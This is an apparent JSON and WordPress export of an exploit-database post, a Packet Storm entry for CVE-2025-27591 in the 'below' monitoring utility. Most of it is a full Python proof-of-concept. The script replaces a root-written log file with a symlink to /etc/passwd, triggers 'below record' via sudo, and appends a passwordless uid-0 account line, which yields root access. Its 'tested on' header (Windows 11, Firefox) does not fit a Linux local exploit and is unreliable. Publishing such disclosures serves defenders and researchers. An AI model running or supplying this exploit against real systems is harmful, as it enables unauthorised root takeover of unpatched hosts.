{“lastseen”:”2026-04-21T16:45:57″,”description”:”This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link symlink manipulation in a logging directory used by the below utility. Versions prior to 0.9.0 are affected…”,”published”:”2026-04-21T00:00:00″,”modified”:”2026-04-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Below Symlink Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:219373″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-27591″],”sourceData”:”==================================================================================================================================\\n | # Title : Below \\u003cv0.9.0 Symlink-Based Privilege Escalation via Log Manipulation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/github.com\/facebookincubator\/below |\\n ==================================================================================================================================\\n \\n [+] Summary : This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link (symlink) manipulation in a logging directory used by the below utility.\\n \\n \\n [+] POC : \\n \\n import os\\n import subprocess\\n import sys\\n from pathlib import Path\\n \\n LOG_DIR = \\”\/var\/log\/below\\”\\n LOG_FILE = os.path.join(LOG_DIR, \\”error_root.log\\”)\\n TARGET_FILE = \\”\/etc\/passwd\\”\\n TMP_PAYLOAD = \\”\/tmp\/payload\\”\\n FAKE_USER_LINE = \\”nikolas-trey::0:0:nikolas-trey:\/root:\/bin\/bash\\\\n\\”\\n \\n def main():\\n print(\\”[*] CVE-2025-27591 exploit – Python Version\\”)\\n \\n try:\\n with open(TMP_PAYLOAD, ‘w’) as f:\\n f.write(FAKE_USER_LINE)\\n print(f\\”[+] Payload written to {TMP_PAYLOAD}\\”)\\n except IOError as e:\\n print(f\\”[-] Failed to write payload: {e}\\”)\\n return\\n \\n if not os.path.isdir(LOG_DIR):\\n print(f\\”[-] Log directory {LOG_DIR} does not exist.\\”)\\n return\\n \\n if not os.access(LOG_DIR, os.W_OK):\\n print(f\\”[-] Log directory {LOG_DIR} is not writable.\\”)\\n return\\n \\n print(f\\”[+] {LOG_DIR} is writable.\\”)\\n \\n if os.path.lexists(LOG_FILE): \\n try:\\n os.remove(LOG_FILE)\\n print(f\\”[+] Removed existing file\/symlink: {LOG_FILE}\\”)\\n except OSError as e:\\n print(f\\”[-] Could not remove {LOG_FILE}: {e}\\”)\\n return\\n \\n try:\\n os.symlink(TARGET_FILE, LOG_FILE)\\n print(f\\”[+] Symlink created: {LOG_FILE} -\\u003e {TARGET_FILE}\\”)\\n except OSError as e:\\n print(f\\”[-] Symlink creation failed: {e}\\”)\\n return\\n \\n print(\\”[*] Triggering sudo log write via `below`…\\”)\\n try:\\n subprocess.run(\\n [\\”sudo\\”, \\”\/usr\/bin\/below\\”, \\”record\\”],\\n timeout=5,\\n capture_output=True,\\n text=True \\n )\\n except subprocess.TimeoutExpired:\\n print(\\”[*] ‘below’ command timed out (expected)\\”)\\n except Exception as e:\\n print(f\\”[*] Note: execution error: {e}\\”)\\n \\n try:\\n with open(TMP_PAYLOAD, ‘r’) as p:\\n data = p.read()\\n \\n with open(LOG_FILE, ‘a’) as target:\\n target.write(data)\\n \\n print(\\”[+] Payload appended successfully.\\”)\\n except PermissionError:\\n print(\\”[-] Permission Denied.\\”)\\n except FileNotFoundError:\\n print(\\”[-] Target file not found (symlink broken).\\”)\\n except Exception as e:\\n print(f\\”[-] Unexpected error: {e}\\”)\\n \\n print(\\”[*] Done.\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219373″,”cvss”:{“score”:6.8,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219373\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-21T16:45:57″,”description”:”This Python script demonstrates a potential privilege escalation technique related to CVE-2025-27591, leveraging symbolic link symlink manipulation in a logging directory used by the below…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,25,12,21,13,53,7,11,5],"class_list":["post-48287","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-68","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n